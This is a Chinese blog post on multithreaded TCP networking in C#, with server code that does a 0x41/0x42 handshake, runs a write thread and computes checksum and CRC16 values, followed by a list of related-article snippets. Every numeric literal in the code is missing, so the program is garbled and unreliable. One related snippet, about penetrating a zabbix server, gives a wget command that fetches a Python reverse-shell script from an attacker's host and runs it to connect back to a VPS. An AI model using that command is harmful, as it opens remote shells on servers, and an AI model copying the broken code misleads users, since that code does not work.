C# 多线程网络通信
博客园 :梦工厂2012
本月由于事情太多,没能有太多的时间去写博客.不过还好在月底抽时间写了这个多线程网络通信的程序 .程序说明:控制端 创建一个写线程threadWrite和一个读线程threadRead ,写线程用于向控制端发送操控指令.读线程用于读取被控制端姿态数据.这里C# 编写了一个模拟被控端ServerConsole .源代码如下,
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Net.Sockets;
using System.Net;
using System.Timers;
using System.Threading; namespace ServerConsole
{
class Program
{
//创建写线程
private static Thread threadWrite;
static int send_num = ;
static NetworkStream streamToClient, streamFromClient; static void Main(string[] args)
{
ushort[] data=new ushort[];
const int BufferSize = ;
int received_num = ;
byte[] buffer = new byte[BufferSize];
int bytesRead;
Console.WriteLine("Server is runing"); IPAddress ip = new IPAddress(new byte[]{,,,});
TcpListener listener = new TcpListener(ip, ); listener.Start();
Console.WriteLine("Start listening");
while(true)
{
//为TCP网络服务提供提供客户端连接
TcpClient remoteClient = listener.AcceptTcpClient(); //Receive the request of connection
// 打印连接到的客户端信息
Console.WriteLine("Client Connected!{0} <-- {1}", remoteClient.Client.LocalEndPoint, remoteClient.Client.RemoteEndPoint);
streamToClient = remoteClient.GetStream();
streamFromClient = remoteClient.GetStream(); /*--------------------------------Creat the write thread----------------------------------------*/
threadWrite = new Thread(new ThreadStart(write));
Console.WriteLine("实例化线程"); /*-------------------------------------------------------------------------------------------------*/
Handshaking(); //Hand shake ,与上位机进行握手 while(true)
{ try
{
bytesRead = streamFromClient.Read(buffer, , BufferSize);
received_num++;
if (bytesRead == ) throw new Exception("读取到0字节"); Console.WriteLine("Reading data,{0}bytes...", bytesRead); ushort temp = checksum(buffer, );
if (temp == ((ushort)buffer[] + (ushort)(buffer[] << )))
{
Console.WriteLine("校验正确");
data[] = (ushort)(buffer[] + (buffer[] << ));
data[] = (ushort)(buffer[] + (buffer[] << ));
data[] = (ushort)(buffer[] + (buffer[] << ));
data[] = (ushort)(buffer[] + (buffer[] << ));
Console.WriteLine("The result is {0},{1},{2},{3},接收{4},发送{5}.", data[], data[], data[], data[],received_num,send_num);
}
else
Console.WriteLine("校验不正确!"); }
catch (Exception ex)
{
Console.WriteLine(ex.Message);
break;
}
} //while Console.WriteLine("\n输入Q键退出,其他键继续!");
ConsoleKey key; key = Console.ReadKey(true).Key;
if (key == ConsoleKey.Q)
return;
else
{
Console.WriteLine("continute....");
received_num = ;
send_num = ;
}
} //whlie
} //main private static void write()
{
byte[] send_byte = new byte[];
while (true)
{
for (int i = ; i < ;i++ )
{
send_byte[i] = (byte);
}
ushort temp = checksum(send_byte, );
send_byte[] = (byte)(temp & 0x00ff); //low
send_byte[] = (byte)((temp & 0xff00) >> ); //high
//下面进行数据的发送......
try
{
streamToClient.Write(send_byte, , send_byte.Length); // 发往客户端
send_num++;
}
catch (Exception x)
{
Console.WriteLine(x.Message);
return;
}
Thread.Sleep();
}
} /// <summary>
/// 与 上位机进行握手
/// </summary>
private static void Handshaking()
{
byte[] buffer = new byte[];
lock (streamFromClient)
{
int bytesRead = streamFromClient.Read(buffer, , );
Console.WriteLine("Reading data,{0}bytes...", bytesRead);
}
if (buffer[] == 0x41)
{
Console.WriteLine("Received: {0}", Encoding.ASCII.GetString(buffer, , buffer.Length));
buffer[] = 0x42;
lock (streamToClient)
{
streamToClient.Write(buffer, , buffer.Length);
}
Console.WriteLine("sent;{0}", Encoding.ASCII.GetString(buffer, , buffer.Length)); if(!threadWrite.IsAlive)
{
threadWrite.Start();
Console.WriteLine("start the write thread ");
} }
} /// <summary>
/// CRC16校验函数
/// </summary>
/// <param name="array"></param>
/// <param name="Len"></param>
/// <returns></returns>
private static ushort CRC16(char[] array, int Len)
{
int CRC;
UInt16 IX, IY;
CRC = 0xffff; //set all 1
for (IX = ; IX < Len; IX++)
{ CRC = CRC ^ (UInt16)(array[IX]);
for (IY = ; IY <= ; IY++)
{
if ((CRC & ) != )
CRC = (CRC >> ) ^ 0xA001;
else
CRC = CRC >> ;
} }
return (ushort)CRC;
} //checksum校验
private static ushort checksum(byte[] array, int Len)
{
ushort check_sum = , i;
//char temp[8];
for (i = ; i < Len; i += )
{
check_sum += (ushort)((array[i + ] << ) + array[i]);
}
return check_sum;
} }
}
代码简介:代码写的用点乱,大家将就看吧. 主程序用于接收 控制数据 ,如外我创建一个写线程用于向控制端数据.这里收到的数据我全部写为 (byte)1,发送的数据全部写为(byte)2 ,校验采用累加和校验 .被控端与操控端采用0x41 0x42 进行简单的握手,其实感觉是有点多于了.操控端与被控端没有太大的区别,数据通信部分是相同的,创建连接的代码有点不同.
基本过程:
//实例化通信类
TcpClient client = new TcpClient();
client.Connect(url_conrtol, Convert.ToInt32(portNumber)); // 与服务器连接
streamToServer = client.GetStream();
读写过程 与上面帖的代码相同.
在程序编写过程中,我使用多线程和networkstream 的read,write对流的读写,因为是单机点对点通信并没有发现有什么问题(read 阻塞 ,write 不阻塞 ),read 阻塞不影响发送 . 网上有资料说: Write 和 Read 方法用于简单的单线程同步阻止 I/O。若要使用不同的线程来处理 I/O,则请考虑使用BeginWrite 和 EndWrite 方法,或 BeginRead 和 EndRead 方法进行通信。程序中用用于lock关键字,具体是否起到作用,本人仍在查找资料.

每个程序都是本人花费一定的时间经过多次修改所得,直到程序最优,有些看似简单的问题其实一点也不简单!!博文为本人所写转载请表明出处C# 多线程网络通信
C# 多线程网络通信的更多相关文章
- 深入浅出Win32多线程程序设计之基本概念
一.深入浅出Win32多线程程序设计之基本概念[转] 引言 从单进程单线程到多进程多线程是操作系统发展的一种必然趋势,当年的DOS系统属于单任务操作系统,最优秀的程序员也只能通过驻留内存的方式实现所谓 ...
- python-网络编程-socket编程
一.TCP\IP(网络通信协议)简介 TCP:(Transmission Control Protocol)传输控制协议,面向有连接的通信协议 UDP:数据报文协议,面向无连接的通信协议 ...
- JAVA基础知识复习小结
集合 Set集合 Set集合的基本特征是元素不允许重复.HashSet不保存元素顺序,LinkedHashSet用链表保持元素的插入顺序,TreeSet可定制排序规则. HashSet的底层是用Has ...
- odoo 8.0 多核启用
对于很多企业来说,随着时间的推移,用户量或者企业建点扩张,使用erp就会出现应用访问越来越慢的情况, 其实这种情况不但限于erp,只要是有数据量增长的互联网业务必然会遇到的,因为一开始的是就没有做好大 ...
- Ptypes一个开源轻量级的c++库,包括对一些I/O操作、网络通信、多线程和异常处理的封装
C++开源项目入门级:Ptypes Ptypes一个开源轻量级的c++库,包括对一些I/O操作.网络通信.多线程和异常处理的封装.虽然代码有限,包括的内容不少,麻雀虽小,五脏俱全. 提高: ...
- Linux网络通信(TCP套接字编写,多进程多线程版本)
预备知识 源IP地址和目的IP地址 IP地址在上一篇博客中也介绍过,它是用来标识网络中不同主机的地址.两台主机进行通信时,发送方需要知道自己往哪一台主机发送,这就需要知道接受方主机的的IP地址,也就是 ...
- 以libevent网络库为引:网络通信和多线程
1. windows下编译及使用libevent http://www.cnblogs.com/luxiaoxun/p/3603399.html 2. <<libevent学习资料&g ...
- Linux下C语言多线程,网络通信简单聊天程序
http://www.cnblogs.com/zhuxianji/archive/2011/01/06/1928970.html
- Linux下使用多线程模拟异步网络通信
服务器 /* socket server * 2014-12-15 CopyRight (c) arbboter */ #include <unistd.h> #include <s ...
随机推荐
- php部分---面向对象静态、抽象类、oop接口、加载类、魔术方法、关键字。
静态 static关键字 普通成员普通成员是属于对象的 静态成员静态成员是属于类的 普通方法里面可以调用静态成员静态方法里面不能调用普通成员self关键字 在类里面代表该类 普通类class Ren ...
- 放课后的约定 by:S_H_Y
题目背景 十年.十年前.天空的蔚蓝,云彩的舒软.我,怎么会认识你.洁白的,洁白的,十年前.我无法忘却.终究是小时候的约定.记忆被困在冻土里,有时我不认识那天的我.难道一切,都锁在心里面了吗? 题目描述 ...
- HDU 1024 Max Sum Plus Plus --- dp+滚动数组
HDU 1024 题目大意:给定m和n以及n个数,求n个数的m个连续子系列的最大值,要求子序列不想交. 解题思路:<1>动态规划,定义状态dp[i][j]表示序列前j个数的i段子序列的值, ...
- HDU-2196 Computer (树形DP)
题目大意:在一棵带边权的有根树中,对于每个点,找出它与离它最远的那个点的之间的距离. 题目分析:对于一个点,离它最远的点只有两种情况,一是它到叶子节点的最远距离,一是与它父亲的距离加上他的父亲到叶子节 ...
- 什么是HTML、XML和XHTML
(1)XMLXML是The Extensible Markup Language(可扩展标识语言)的简写.目前推荐遵循的是W3C于2000年10月6日发布的XML1.0,参考(www.w3.org/T ...
- viewPage
<?xml version="1.0" encoding="utf-8"?> <LinearLayout xmlns:android=&quo ...
- 一次zabbix的渗透
wget http://xxxxxxx:8888/back.py -O /tmp/1.py 写入python反弹马 反弹到vps python /tmp/back.py IP port ...
- “锁定”语句 lock(C# 参考)
此文章由人工翻译. 将光标移到文章的句子上,以查看原文. 更多信息. 译文 原文 "锁定"语句(C# 参考) 其他版本 <?XML:NAMESPACE PREFIX = &q ...
- SQL存储过程相关信息查看转
原文地址:http://www.cnblogs.com/minideas/archive/2009/10/29/1591891.html --1.查看所有存储过程与函数 exec sp_ ...
- Java基础试题
1.使用Java语言编写的源程序保存时的文件扩展名是( B ). (A).class (B).java (C).cpp (D).txt ...